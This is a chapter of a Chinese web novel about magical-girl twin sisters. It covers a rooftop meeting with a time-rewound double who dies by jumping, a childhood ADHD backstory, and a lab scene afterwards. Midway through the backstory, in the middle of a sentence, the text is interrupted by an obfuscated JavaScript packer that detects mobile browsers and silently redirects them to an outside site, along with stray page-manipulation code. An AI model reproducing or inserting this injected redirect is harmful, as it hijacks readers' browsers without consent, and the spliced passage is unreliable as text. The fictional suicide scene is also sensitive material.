“时间回溯,你为何得出这个结论?即使是你拥有发生过的事情的记忆,那也可能是你在不自觉的情况下被类似‘记忆植入’或者‘预知未来’的魔法影响了,是什么让你如此肯定自己经历了时间回溯?”森山寺未雅问道。 “这个答案我早就准备好了。”‘森山寺未雅’得意地笑了,“因为我的特征魔法是预测未来,是以与未来可能会实现的可能性的时空进行链接与观察的精神魔法,是奇迹的判断者,也是我最后的希望。” “你看到有谁用了时间回溯魔法?”森山寺未雅问。 “我‘看到了’时间回溯魔法。”森山寺未雅强调道,“我没时间和你解释细节了,但我可以确切地告诉你,我是在我死去之后以灵魂状态看到的,并记录了这个结论,并在时间达成回溯之后,我成为了魔法少女之后将此记起来的。” “你说,你什么都做不了?为什么?”森山寺未雅质疑。 “…我不知道,但这并非是我被动什么都做不了,并不是有谁阻止我或者我做了什么结果被修正了,而是我潜意识里认可‘我无法改变’这一事实。”‘森山寺未雅’嗤笑了一声,“就好像有人把一本书塞给我强行让我读,但是读完了就拿走了,我没有编辑内容的资格,即使我就是书中角色。我只能眼睁睁地看着一切发生,甚至来到这里,准备跳下去。” “原来如此,我了解了,你要自杀,这是我最不能理解的,是什么让你放弃活下去?”森山寺未雅问道。 “…你居然没办法理解吗?”‘森山寺未雅’不可置信地问,“从精神病的角度上来看我俩真是不相上下,病根同源。” “两个世界发生的事情不一样是你说的吧?我为什么会理解?”森山寺未雅问。 “与那些无关,我明白了,你连病因都不记得了,蠢东西。”‘森山寺未雅’嗤笑道,“第一次见治病还得医生说明病情的,那我直白地说明,你我的病因是存在危机,也就是你我自己。未央她,没办法理解我,但是她分走了我痛苦的一半,你也一定已经无法理解她了吧。” “我无法理解。”森山寺未雅说,“觉得自己活着没有意义又怎么样呢?你说你要从这里跳下去?我怎么可能因为这种原因就结束自己的生命?到底是什么样的原因能让我选择在自己活下去的欲望消失之前先一步自己选择死亡?你真的是我吗?为什么你经历过了一遍之后却依旧无法改变这一切?潜意识那种东西骗过去又没什么难的不是吗?” ‘森山寺未雅’一时没有说话,她看着问出那些问题的患者,如看着尝试在岸上活下去的鱼,讽刺又悲哀。她扯了扯嘴角,似乎是想要再次露出笑容来好好嘲讽这个连病情说明都听不清楚的病患,但在那之前,她的眼泪先落了下来。 “…你流泪了,为什么?我只不过在问问题。”森山寺未雅问,“你要拒绝回答我的问题吗?那你能不能至少告诉我怎么才能从这里出去?” 呼吸困难的患者想通过拔掉呼吸面罩来获得新鲜空气。 “我都懒得和你说这些东西了。”‘森山寺未雅’钝钝地笑了,眼泪还在下落,“那么在这一步,你就当作是我懒得去做那一切吧,与其处理未来那一大堆麻烦事那还是一跳了之比较方便,这样你就一定能理解了。” “那确实。”森山寺未雅点头,“可是你在哭,你不该哭的,为什么?” “…因为我还想挣扎一下,为了我们,为了她。”‘森山寺未雅’说,“我一直觉得我做的还不错,但未央却一直深知我的惰性,甚至默许其存在,她明明无法理解我的,却还是那样做了,小时候也好,精神分担也好。这些都没有用,病并不是止痛了就能当作没有发生过的。” “然后你就要自杀?你感到愧疚了?还是说你看不到自己痊愈的未来?”森山寺未雅问,“我还是不认为你我说的是同一个问题,至少我的问题不会导致我自杀。” “真的吗?”‘森山寺未雅’笑着问。 “…我不知道。”森山寺未雅说,“可至少现在要跳下去的人是你不是吗?是森山寺未央的痛苦表现让你感到愧疚和无力的?那你离她远一点不就好了吗?” 大风发了狂,朗朗晴空包下城市以防止大风逃跑,于是气流来回奔逃,过程中偶然撞上些许比风还要无处可去的语句。 “因为我爱我的妹妹,就像她爱着我一样,明明我们从小到大一直都是这样互相爱着彼此活到现在的,你忘记了吗。”‘森山寺未雅’的声音嘶哑,“你一定是病了,你感受不到她的爱,也忘记了爱她,所以你才会这么快就失去活下去的欲望,但她还爱着你对吗?她一定是无比痛苦的,就像我的未央也甘愿忍受属于我的痛苦一样。” 这些话和森山寺未雅心里的风一样猛烈地刮过,她忽然就想起了森山寺未央哭泣时的表情,眼前这人有着与她完全一样的面孔,也同样在哭泣,但却是完全不一样的。 “她爱着我吗?我也爱着她吗?”森山寺未雅质疑,“怎么可能呢?她怎么会爱着一个一直模仿自己的怪物,我又怎么会爱着一个时时刻刻都在提醒自己没有存在的意义的人呢?” 森山寺未雅质疑这份爱的存在,她的所有感情波动都在魔法的控制下流失殆尽,这件事发生在并不短暂的时间之前,而这段只需要思考结果和逻辑的时间内她成功地对森山寺未央产生了杀意,并且直到现在也不曾后悔。或许曾经这份爱存在过,可现在呢? “你我心知肚明这份爱是存在的,你忘记了吗?你病了,她用了错误的方法医治你,你做出了令她后悔的事,于是让你来到了这里。”‘森山寺未雅’问,“你想要在自己失去生存的欲望之前先结束她的生命,对吗?” “…你确实很了解我。”森山寺未雅无话可说。 “时间不多了,我提前来这里看看没想到还能遇见你这蠢家伙,看来多挣扎一下还是有用的。”‘森山寺未雅’重新坚定了起来,“你我为同一人,在这个世界中灵魂个体本不该存在复数输出单位,但我于默认守则下将死,森山寺未雅的存在数量在这个时空点是不定的。你我在此时哪怕灵魂互换也会被视作在同一魔法少女的特征范畴内,同时我猜测这也是你能够保持清醒的原因吧,一会我死去之后你就会被赶出这里了。” “你准备怎么做?”森山寺未雅问。 “我要改变你精神内魔法的义务与限制的判定,你我灵魂同源,这是只有我能做到的魔法,你就看着吧。”‘森山寺未雅’自信地笑着说,“你能出现在这里对我来说也是个奇迹,我不会浪费这个奇迹的。这也是我们最好的选择了,我别无它选。 或许你已经忘记了这种感觉,对于过于擅长接受感情信息的你我来说,思考是生存必要的工作,你我只能从混沌中寻找自己的存在。因为找到自我是任何一个人从小到大一点一点积累起来的过程,而你我却因为走了捷径而埋下了隐患,任何投机取巧都是无用功,这一点无论是你还是我都已经看到了结果。” “这是你临时决定的吧,明明你也没有实验过却这么自信能成功吗?”森山寺未雅心里流过一缕缕情绪,这里该说些什么呢,是应该说这种事太匪夷所思了,还是说自己还未能准备好呢? “真是麻烦,对吧?”‘森山寺未雅’笑着说。 对,就是这个,森山寺未雅一瞬间哑口无言,随后那些感情也流走了,她只剩下堵在喉咙的一口气,于是她长长地将它叹出。 “你确实理解我。”她说。 “时间魔法中回溯是毁灭性的,我见证了世界的毁灭,但我确实再次睁开了眼,这世界在我看来真实但也如同只是故事被重演。你提到了伊提阿姨,那个人我不认识,但你这样称呼她那么她一定是影响了一些很久以前的东西,那就去很久以前的东西里找。如果你还需要一些活下去的理由的话,那就去寻找这些的答案。”‘森山寺未雅’说着,拍了拍森山寺未雅的肩膀。 那动作非常地轻,但森山寺未雅却觉得自己肩上一瞬间有千斤重担压下,而做出这些事的‘森山寺未雅’却是浅浅地微笑着的,五官上源于疲惫的那部分添加剂缓缓融化了,就好像她并不是即将去赴死,而是准备前往自己旅途的下一个目的地。 “再见啦,我自己。”‘森山寺未雅’轻声说道,轻巧地翻过围栏,往前踏空一步后往下坠去,带着森山寺未雅精神中那如蛛丝般试试缠绕着的那些束缚一起飞向地面。 在晴空之下,她坦然地回归了自己的死。 而就在她消失在眼前的一瞬间,森山寺未雅察觉到自己脑内一直留不住,一直被忽视的那些如开闸的洪水一般涌来,点点滴滴都在质问她的存在。 你的名字是什么?你喜欢自己的名字吗?它有什么特殊的含义?是谁起的?你喜欢它吗?你如何描述自己的性格?别人又如何形容你?你是一个理性的人,还是感性的人?为什么?你面对冲突时会怎么处理?你如何面对失败?你害怕什么?你最容易被什么事情激怒?你最快乐的童年记忆是什么?你小时候有没有被某个事件深深影响?它塑造了你什么特质?你最崇拜的人是谁?你曾经做过最骄傲的事情是什么?你曾经后悔过什么决定?你最信任的人是谁?你有没有恨过某个人?如果有,你会如何对待他/她?你怎么看待“朋友”这个概念?你认为这个世界是公平的吗?你如何看待谎言?你会信任别人吗?你觉得别人应该信任你吗?你觉得人生的意义是什么?你认为自己活着的目的是什么?你害怕未来吗?你认为杀人是否有正当理由?你有道德底线吗?什么情况下你会打破它? 这些以及更多的疑问本应该由她在从小成长的过程中一点一点回答,一点一点确认自己的答案,而这一点一点的答案最终会构成一个人本身的存在。 但她觉得思考这些事很麻烦,这是她的惰性,但也是她对自己无力的一种掩饰,她的本我太过于沉默,发出的声音难以被听见,而眼前就有一个绝对不会离开她的,现成的答案提供者:森山寺未央。 既然是双胞胎,那相似是理所当然的,外貌也好声音也好以上所有的其它答案也好,一个答案复制粘贴之后就是另一个人的答案了。但即使如此,潜意识里的森山寺未雅却恐惧着这件事的真相被发现,就像是一个一直靠抄答案交作业的孩子恐惧自己的所作所为被发现,被揭发的那一刻她需要立刻提供以上所有的答案来证明一个答案: 你是谁? 而那正在下坠的‘森山寺未雅’也因为脑中什么感情也不剩获得了久违的宁静,她甚至没有因即将到来的死亡感到恐惧,于是与上次不同,与直立的世界背道而驰的她没有闭上眼。 也因此,她看见了一边呼喊,一边朝自己所在的地方奔来的‘森山寺未央’。 原来你在这里啊,‘森山寺未雅’恍然大悟,她当时特地挑了上一次因故放假的时间来到学校,没想到还是这么快就被对方发现了。 悲伤和快乐都不再眷顾‘森山寺未雅’,她就这样在这一瞬间看着自己的妹妹朝自己跑来。 上一次也是这样吗?上一次的你也眼睁睁地看着我死去,而我甚至没有勇气睁开眼去看,抱歉,我以为我们会有更好的人生,至少你可以不用因为我而饱受折磨。 “对不起。”她说。 有些严厉但会尽量满足孩子愿望的父亲,总是十分忙碌但从不缺席重要日子的母亲,有时会找麻烦但也没少给你出头的双胞胎妹妹,以及普普通通的你,这样的四个人组成了一个既常见又难得可贵的幸福家庭。 你自小便知道自己的家人是爱自己的,并且大事小事都可以与家人讨论,想要什么都可以提出来。 但是如果没有想要提出来的问题该怎么办呢?你非常擅长接受别人的好意或者不好意,于是那本不该由你来承担的关于“你该怎么办”的担心也被你主动接过了。刚学会说话不久的你看向自己那似乎永远有说不完的话的妹妹,挑了几句重复了几次,得到了回应。你不需要质量,只需要有,有证明存在。 幼时你的妹妹展现出了超出常人的好奇心,也难以将注意力集中在一件事上,读书玩耍都会频繁的分心,也很难注意到时间的流逝。但由于她是这样的,于是你就也是这样的才好,你们一同讲述自己的白日梦,但不同的是她的思维真正神游天外时,你真正思考的是她在想些什么。 你们是双胞胎,你总是那么了解她,但你不够了解这个世界的局限性。 “您的孩子患有多动障碍注意力缺陷,虽然发现的有些晚了不必太担心,这是儿童期最常见的慢性神经发育障碍之一,坚持治疗,学习家庭教育和行为管理,并且注意进行沟通,大多数孩子都会在长大后摆脱这些障碍。” 即使是在那样的时候,她依旧只对墙壁上的插画感兴趣,简笔插画那对家长中间的孩子正笑着,她一定是在想类似于“那条忘记被擦掉的草稿线看上去好恶心”这样的事情吧。 “那条线忘记被擦掉了吧,好恶心。”她说,你猜中了。 随后你们的父母走过来摸了摸你们的头,你抬头看不清她们的表情,但孩子生病并不是孩子们自己该担心的事情,也不需要负责。你们手牵手离开诊断区,在儿童乐园里待着等父母完成医院手续带你们回家。 “多动症是什么?动的很多就可以被叫做是多动症吗?”她一边在几个器材间跑来跑去一边问着,原来她也有听见那个医生说的话。 “爸爸妈妈每天也动来动去的,为什么只有我们被带来医院了呢?”你也一边跑一边问,你们两个里面并没有任何一个是负责解答的,这个角色通常是你们的父母,或者学校的老师。 忽然,你听见儿童乐园不远处有人在自以为小声地说着些什么,或许是因为那些人并不认为这些话能被孩子理解或记住吧。 “…那边的孩子也是确诊了儿童多动症吗?” “八成是了,你看那个样子,不就是很经典的特征吗?也不知道在哪家学校,以后她们的老师和同学可惨了。” “虽然都说要多元化发展,但其实都希望这种学生不要来自己的学校吧。” “也不会有人想要这样的孩子吧。” “为什么?”问出这句话的是一路跑到那些人身前站着的你的妹妹,糟糕,一时不注意居然跟丢了。 忽然被自己的议论对象当面质疑的人面色不太好看,但因为对方只是小孩子,那些人也没有什么害怕的反应,只是有些后悔自己说话被听见了。 “为什么不想要?因为我们动来动去吗?”她执着地问。 “为什么老师和同学会很惨?”你也问。 没有人回答,那几人还并没有坏心眼到特地对有特殊障碍的儿童当面说坏话,那些人只是想以别人的不幸为谈论的话题,咀嚼正当性,凸显自己作为正常人的可贵。 但是你们两个人都认为彼此是正常的孩子,你们一直都很开心,享受每一天,爸爸妈妈以及同学并没有表现出因为你们而过的不好的迹象。 虽然不知道对方到底在说什么,但你就是觉得那不是什么好话,你感觉到了那若有若无的恶意,有些难受但更多的是害怕,你站着她的前面,准备如果对方语气出现不好的情绪就带着妹妹跑走。 “没有人会不想要未央和未雅的,你们的老师和同学也不会讨厌你们。”说话的人是你们的妈妈,她大老远看见自己的孩子围着陌生人就往这里赶来了。 恶意被净化了,你想,爸爸妈妈会用魔法。 “你们在儿童医院说这种话是故意的?”带着几袋子东西跑过来的是你们的爸爸。 那几人本就心虚,匆忙道歉之后就跑走了。 回家的路上,你们两个依旧想要知道问题的答案。 “因为大多数人都一次只能做好一件事,一件事没能做完就去做下一件的话,那最后就什么都做不好了。”你们的妈妈小心翼翼地解释道。你感受到了她在隐瞒什么,但你不知道为什么,你看向自己的妹妹,她似乎没有察觉也没有说,所以你也不问。 “就好像爸爸做甜品的时候,如果每次都做到一半就开始做另一个蛋糕,那未央和未雅就永远吃不上好吃的蛋糕了。”你们的爸爸举例解释说明,你感受到了他在曲解什么,但你不知道原意为何,你看向自己的妹妹,她笑了,所以你也笑了。 “但是没关系的!小孩子这样很正常,医生也说这很常见的,不会有人觉得你们奇怪!”你们的妈妈紧急安慰说。 “没错!而且无论有人和你们说了什么不好的,你们都要和老师,以及爸爸妈妈说,好吗?”你们的爸爸认真地说。 “好耶!我要吃蛋糕!别人说的话我会全都记住的!”你的妹妹兴高采烈地说。 “别人说的话我们都会记住的!”你也兴高采烈地说。 “也不用全都记住啦。”你们的妈妈表情有些无奈。 总之这件事对你们来说影响并不大,毕竟那时你们还没开始上小学,诊断是入学前体检时发生的,幼儿园期间大多数孩子表现出的好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735021|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇心将你们的表现衬托的没那么显眼了。 可是小学开学之后,你们就不可避免地变得显眼了起来,不仅仅是因为双胞胎少见,也是因为你们两个有异于常人的表现。 小学一节课四十分钟,你们两个没有一次能好好在座位上坐完全程的,而且老师布置的活动和安排对你们来说形同虚设,你们基本上只做自己想做的事情。 实际上这一点对于你们的同龄人来说并没有什么影响,毕竟小学一年级的孩子哪有什么常识,你们再坐不住也不过是有些烦人而已,远不如午餐难吃带来的打击大。 你们的老师提前被告知了你们的特殊障碍,所以也并不是特别头疼,毕竟一个多动症孩子还需要特地看着点,存在为相似的复数的话,虽然破坏了成倍增加,但好歹能互相看顾一下。 而且就是因为双胞胎少见,即使你们很难和同龄人一直玩到一起,但人气还是很高的! 这份相安无事持续到小学一年级的一次家长会,有家长得知自己孩子口里那个“很有意思的双胞胎同学”居然是多动症儿童后,与自己的孩子和老师进行了谈话。 你们的座位发生了改变,搬到了教室的角落里,周围也尽是一些平时就很调皮的孩子,但实际上你们反而和这群人聊得来一点。除了这些外,你们注意到很多同学都有意识地拒绝和你们一起玩了,甚至会三五成群地在角落里抱团议论你们。你感受到了恶意,爸爸妈妈不在,但她在这里,所以没关系。 “你们在聊什么?”你的妹妹一如既往地凑上去问,她完全没有意识到她们在针对你们聊天,还以为她们在聊什么有趣的话题。 “你们在看着我们聊什么?”你也凑上去问。 那些孩子看到你们过来后有些退缩,但大概是人数上占优势,她们最后还是没有散开,反而隐隐成包围的形式看着你们。每个人都刺来了名为感情的刀,你感觉有些痛了,却也不知道该怎么处理不存在于表面的伤口。 “我可是知道了,你们是那个,多动症对吧?”其中一个人主动开口,这人根本就不知道为什么要因为同学是多动症就这样对自己的同学,但其它人都这么做了。 “妈妈让我不要和有多动症的同学玩,说会变笨的!”另一个人附和道。 “没错没错,我才不要变笨呢!”另一个人也说。 你们知道你们确实有着名叫多动症的病,但你们都不知道,为什么会有人因为这件事就对你们产生敌意,你下意识地看向你的妹妹,她完全没有意识到其中的恶意,但却是一副生气的表情。 神奇的是,你因为那份理直气壮的生气摆脱了原来的不知所措,你也摆出了生气的表情。 “说什么呢!笨是因为你们本来就笨!才不是因为和我们玩就变笨的!”她怒气冲冲地说。 “笨蛋只会混在一起越来越笨!说的不就是你们吗!”你也怒气冲冲地说。 “才不是呢!”其中的一个人被激怒了,“我们又没有这个多动症!” “和多动症有什么关系?”你质疑道,“本是智商的问题!” “你说什么?!”其中的一个人表现出了愤怒,“你说我们智商低?!你再说一遍?!” “声音这么大做什么?”你的妹妹一脸疑惑,她完全没有发现眼前的人生气了,就单纯地重复了一遍你说的话,“你们如果笨那是你们智商有问题呀?” 随后她看向你,似乎在验证自己说的话没错,这句话确实没有错,但那些越来越强烈的疼痛说明了它或许不应该被说出来。 “轰隆——”那人一气之下翻倒了一张桌子,书本和文具散了一地,圆珠笔滚向远方,教室里的所有人的目光都聚了过来,有的看向那个掀翻桌子的人,更多的看向你们。 但其实也就这样了,你想,你看得出来那个人对自己所作所为也有些心虚,小学生也不太懂怎么表达自己的愤怒,那人为了显露气势掀翻桌子已经是用尽全力了。 可是,你的妹妹却没有像你这样想,你看向她时,你意识到了她受到了巨大的冲击。 她不知所措,她不知道眼前这人为什么掀翻桌子,为什么本来好好的教室忽然就变得乱糟糟的,为什么本来很多人说话的环境安静了下来,为什么那么多人看向她,明明她没有说错的话,也没有做错的事。 但是你知道,你全都知道,你知道那些人聚在一起议论你们本质上是想交朋友,那些看着你们的人也并不是全都想看你们的好戏,知道你的妹妹和其它人有着天然的隔膜,不仅仅是因为那个多动症,也有其它的原因。 得去看医生的,你想,就和那天一样,那个医生也说了,虽然发现的晚了,但及时干涉后来也会痊愈。 但你知道,你并没有多动症,你也没有与其它人隔着的隔膜。你是正常人那一边的,你应该站到那边去,说着一些“你故意说那样的话的吗?”的东西让她彻底落入劣势,而你会被大多数人接受,获得很多很多的朋友,你可以模仿那些人的做法,毕竟那些人看上去就像是会喜欢与自己相似的人的样子。 可是那怎么行呢?她可是你的妹妹,正常人的身份哪有她的姐姐的身份重要,不过是一层隔膜而已,只要你一直和她一起站在隔膜的另一边,模仿她,帮助她,你们就会一直处于不败之地的。 而现在你要做的事情,就像是刚才你的妹妹替你生气一样,你要替她质疑对方的愤怒了。 “扶起来。”你看着那个人说,“大家都看见你把桌子掀了,这桌子还不是你的,要么扶起来要么等着老师过来让你扶?” “就是就是,掀桌子干什么,吓我一跳!”你的妹妹在你身后心有余悸地说。 那人也从本就不算多生气的情绪中缓和了过来,看了看周围的情况,最后还是尴尬地去把桌子扶起来了,有的人去帮助那个人,获得了感激的眼神。 这样就好了,你想。 “未雅,为什么那些人要那样说呢?”体育活动课上,你的妹妹闷闷不乐地问你。 没有人愿意和你们一起玩,即使你们没有表现出拒绝的样子,最后却还是只有你们两个人陪在彼此身边。 “就是说呀,为什么说和我们玩会变笨呢?”你也问,你们之间没有一个回答者,你基本上不会对这些问题的答案进行思考,复制你妹妹的想法就足够你应付所有人的问题,哪怕那份答案不是属于正常人的答案。 “我们又不笨!不对,难道说那些人觉得我们很笨吗?”她大惊失色,手里的球都不拍了。 “不知道啊,要去问一下吗?”你问。 “…还是不要了。”她表情还是有些害怕的样子。 “那要怎么样才能看上去很聪明呢?”你反问道。 “妈妈说,一件事没做好就去做下一件事就是不太好的,我们只要把每件事都做好之后再去做下一件事就好了吧!”她一副恍然大悟的样子。 “原来如此,”你点头,为自己不用出主意而满意,“那就把所有事都做好再去做下一件事吧。” 在你们定下了这一规则之后,往后所有的事都根据这一规则来做。课上你们会将这节课要学的东西完全掌握之后再开始发呆,对新的东西产生兴趣后,你们会完全掌握基本知识之后再把目光投向下一个目标。 这一行为确实增加了你们一定程度上的耐心,但不多,因为你们每次都花不了多少时间。 但与之前不同的是,别人议论你们时不再说你们是注意力障碍儿童,而是说你们是独树一帜的天才,坐不住被说成是行动力强,过于旺盛的好奇心反而被称赞为是好品质。 但是你们依旧没有什么朋友,没有人能忍受你们那过于跳跃性的思维和行动,哪怕你们并不是非得这样做,但既然这样做能获得称赞,那这样做就好。 无论如何,你满意你的生活。 你喜欢妈妈微笑着亲吻你的额头,喜欢爸爸送你上学时回头提醒你有不开心的事情记得说,喜欢妹妹在放学后与你手牵手回家,路上争论最后一点零食渣属于谁。并不是为了什么,这些或许也并非能达成什么,但是你喜欢这些寻常的东西。 曾经这些一切对你来说都是理所当然的事情,你并没有对这些感到不满,偶尔会思考若是自己选择与普通人站在一边会怎么样,自己若是没有一直学着妹妹的做法会是一个什么样的人,当然,探索自己的可能性对于你这样的少年来说这也是理所当然的。 但是你一直没有真正尝试过踏出那一步,甚至没有产生过“我的想法是什么?”这样的疑问。你的妹妹是一个特殊的存在,可你认为你不是,在她的身边你只要重复她说的话就能沾上她的存在感,从而成为一个同样能被注视到的存在。 你对于探索自我这一行为给予自己的答案是:关于“森山寺未雅”这个人的一切在这个世界上并不是重要的,这个世界上聪明的人很多,正确的答案很容易得到,哪怕她再聪明再努力,最后得到的也不过是“一个聪明的人”这样的评价而已。这个世界注定只把目光聚焦于几个人身上,聪明又独特的森山寺未央或许是其中一个,那么与她相仿的森山寺未雅也一定会有存在的理由。爸爸妈妈也喜欢这样的孩子,老师也已这样的学生为豪。 直到有一天复诊,你忽然意识到年幼时自己的妹妹就是因为有着这样的你在身边才导致从大人的角度看上去没有明显的症状,才延迟了接受治疗的时机,或许她曾经也有机会成为一个正常的人。 如果森山寺未央成为了一个正常的人,那她在失去了自己的独特性的同时,也不再需要森山寺未雅这个人跟在身边了。 那是不是我不存在也没关系呢?既然无论森山寺未央这个人是否独特,森山寺未雅这个人都不被需要的话,那是否这个人确实就是没有存在的必要呢?是不是删除这个角色也可以呢? 假如森山寺未雅=森山寺未央,那是否这其中只需要留下来一个呢? 假如森山寺未雅≠森山寺未央,那这个角色又为何以这个形式存在呢?双胞胎的意义到底是什么,难道只是为了给森山寺未央的角色特性增添一份特色吗? 若是森山寺未雅=这个世界上的任何人的话,她的人物设定又是什么样的呢?大家可是都看到了,这个孩子一直都没有表现出自己的性格特征的呀,她的人物设定根本就是不完整的,她是可有可无的,把她扔到视线之外的某个地方就好了呀? 不需要为她突如其来的精神病问题困扰,不需要为她作为一个独立的存在而感到烦心,不需要考虑她可能会出现在哪里,不需要思考她在想什么,不需要因为她在那里而尴尬地考虑她该怎么办,不需要她做什么,不需要她的自我存在,不需要她。 这就是森山寺未雅被困在精神病院的原因,这个世界短暂地不需要她了,她又不愿意就那样消失,她就那样拼了命地去和谁辩论:森山寺未雅是可以存在的! 用你,用我,用她,用森山寺未雅作为主语去反复思考,去反复尝试,去反复推开橡皮擦和放在删除键上的手指,并拒绝来看曾经那个“森山寺未雅”的爸爸妈妈和妹妹。 “我们也太相似了,比起双胞胎更像是一个人被分成两个。”这句话在那一瞬间让她一直以来避而不谈的默认规则被扯出了潜意识,但她没有准备好,无论是回答这个问题还是彻底放弃自己的存在。 于是曾经她恐惧而疯狂地抗拒这个问题,因为她确实不知道答案,无论是这一个,还是在这之前的无数个。每次一个问题的出现都会连带着一堆其它问题,让她根本思考不过来,当她条件反射地呼喊着自己的妹妹寻求帮助,森山寺未央便会出现,她感到安心,但随之而来的却是恐惧。 不是的,森山寺未雅心想,我不是在恐惧你,我没有讨厌你,我只是需要一些时间,我是想要待在你的身边的,我很想你,过去的一切错误都与你无关,我此时这幅模样完全是我自作自受,我心知肚明。 可是该说的这些话都没有被说出口,直到后面的一切发生。 好在一切都来得及,因为爱怎么会消失呢?爱是奇迹,是一旦出现便会一直奏效的奇迹。在这一点上来看似乎奇迹与魔法是相似的存在,其中区别在于魔法需要魔力,魔力耗尽魔法就消失,但奇迹在达成了触发条件之后无论如何都不会消失。 “但是你为我而流泪了。”森山寺未雅说,有眼泪从她的眼眶里流下,烫得像血,“你因为我的痛苦而痛苦,为我活下去而努力,为我存在而高兴。 因为你就在那里看着我,叫我的名字,所以我也就可以回应你,也就可以存在了,我是森山寺未雅。” 除此之外还有好多答案等着她去回答,但最重要的一个答案已经有了结果。 下一刻,她感到自己被一只手抓住了,随即眼前一黑,重力产生变化,她感觉自己躺下了。 33.—-·· 森山寺未央感觉自己的脸上有热流划过,她抬手摸了摸脸,发现居然是湿润的,抬头发现犬山晓正讶异地看着自己。 “我哭了?”森山寺未央感到莫名其妙,“咦?为什么?” 但很快她意识到了什么,她迅速将视线投向监控显示屏幕,医疗区域内依旧一切正常,舱门紧闭,在打开前内里的一切都还是未知。 “是未雅发什么什么事吗?”犬山晓明白了些什么,她从一旁的桌子上取来抽纸递给森山寺未央。 “我不知道。”森山寺未央擦了擦眼泪,依旧紧盯屏幕。 克拉拉没有说话,她凝神确认着另一个屏幕上的信息。 而正如几人内心所期待的那样,原本平静的医疗舱开口处裂出一条黑线,随后舱门平行打开,露出了躺在里面睁着眼的森山寺未雅。 “十五分钟都不到,是非常规的结果,果然特殊状态下的受试者才有用吗?”克拉拉兴奋地对着一旁的麦克风宣布,“身体出现不适的话就眨眨眼。” 躺着的森山寺未雅听见了,并没有眨眼,只是眼珠移动,她缓缓地坐了起来,顺势低头看了一眼刚才接触到的东西,医疗舱内空旷,她刚才只是简单地接触到了放在一旁的石杖。 或许是因为她低下了头,眼泪忽然就如同积蓄了许久一般涌了出来,她抬手擦了擦,校服袖子湿了一块。无论是感受情绪还是流泪对她而言都是太久以前的老朋友了,过了一会,那些悲伤才开始光顾她的心。 “我们,我们还不能进去吗?”森山寺未央焦急地问。 “等一下,”克拉拉继续对麦克风说,“可以行动的话站起来离开医疗舱,如果无法站起来就按一下我之前绑在你左手上的按钮让轮椅把你带出来。” 森山寺未雅听见后深呼吸几次站了起来,扶着医疗舱的边缘翻身离开内部,最后看了一眼留在里面的东西,告别,舱门关闭隔开视线。 “从你左手边的门进入消毒室,等待外门开后就可以出来了。”克拉拉说着敲了敲键盘,消毒室连接着医疗区的门缓缓开启,森山寺未雅见状抬脚走去。 森山寺未央没有再看着电脑屏幕,而是转向消毒室的门,她紧张到说不出话来,双拳紧握,想要第一时间确认状况但又害怕,最后她咬了咬牙,迅速走向那里。 消毒室的门在克拉拉的操作下开启,森山寺未央和森山寺未雅在隔离板被抽走之后不出意外地打了个照面,她张口想说些什么,却又觉得说什么都不太好,森山寺未雅也不说话,场面一时非常安静。 “好了,接下来是我的提问时间,坐吧。”克拉拉完全不在乎姐妹俩的情绪问题,她带着一沓文件就走向自己的笔记本电脑,非常激动地准备开始提问。 犬山晓没说什么,把纸巾盒放在了桌上。 “未雅,你,”森山寺未央结结巴巴地问,“你没事吧?” 森山寺未雅面无表情地看着森山寺未央,就好像她之前流泪的样子只是个错觉,她看着森山寺未央从焦急到小心翼翼再到手足无措,终于笑了出来。 “哈哈哈,”她一开始只是简单地笑了一下,但或许是越看越好笑,于是她的大笑没能停下来,“哈哈哈哈哈哈哈我没事。” 笑的原因是因为她看见自己妹妹手足无措的样子让她想起了过去的一些事情,而那些过去的事情又让她想起了更多的,没能及时笑出来的那些过去。 像是要将那些全部一口气补充回来一样,森山寺未雅笑到停不下来。 见状,森山寺未央倒吸一口气,先是惊喜地瞪大眼睛,随后又气红了脸,“你是故意的!” “哈哈哈什么故意的?”森山寺未雅自顾自地笑着,直到氧气用尽她才逐渐平复下来。 二人相顾无言了一会,森山寺未雅的内心忽然就平静了下来,这种平静与之前的无所谓不同,而是稳定地波动着。 “我没事,以后也不会有事了,”森山寺未雅移开了视线,“别看着我了,好啦,对不起。” 而听见这些话的森山寺未央并没有移开视线,她走上前一步抱住了自己失而复得的姐姐,双手环住对方,非常用力,她说:“那就好。” 森山寺未雅条件反射地抱了回去,一时也不知道该说些什么,就这样拍了拍对方的背。 二人就这样非常迅速地和好了,犬山晓意识到了这一点,或许在森山寺未央的眼里二人从未决裂过,只是她的姐姐短暂地得了绝症。 “还要多久?我电脑开机了。”克拉拉毫不犹豫地催促到,犬山晓听罢默默地看了她一眼。 “好了好了,”森山寺未雅最后拍了拍自己妹妹的背,有些不好意思地推开了她,“现在就可以,请问吧。” 森山寺未央被推开后搬了条椅子坐在自己姐姐旁边,得意地笑了。 “医疗舱从关闭到再次开启总共十分二十五秒,你全程有失去过意识吗?”克拉拉隔着镜片紧盯森山寺未雅,双手放在键盘上。 “我自我感觉没有失去过意识,但确实有异常情况出现,”森山寺未雅思索了一番该如何复述,“我没有失去过意识,但在接触到医疗舱内的物品后我的视线被转移到了另外一个地方,我从原本的平躺变为站立。” “继续,描述你看到的东西。”克拉拉快速打字。 “我首先看到了周围的环境,是日之森校区教学楼西部天台区域,没有围栏的那种,”森山寺未雅冷静地说,“随后我看到了我的周围有另外一个人,她自称森山寺未雅,并且迅速地理解了我是存在于另一个世界的同灵魂体,她认为我来自平行世界,而她则是在她所在的世界回溯之后还保留着记忆。” 克拉拉听到这里停下了打字,她看向森山寺未雅的脸,思索了一会说道,“继续。” 而森山寺未央和犬山晓则是一副不可置信的表情,但她们并没有打断对话。 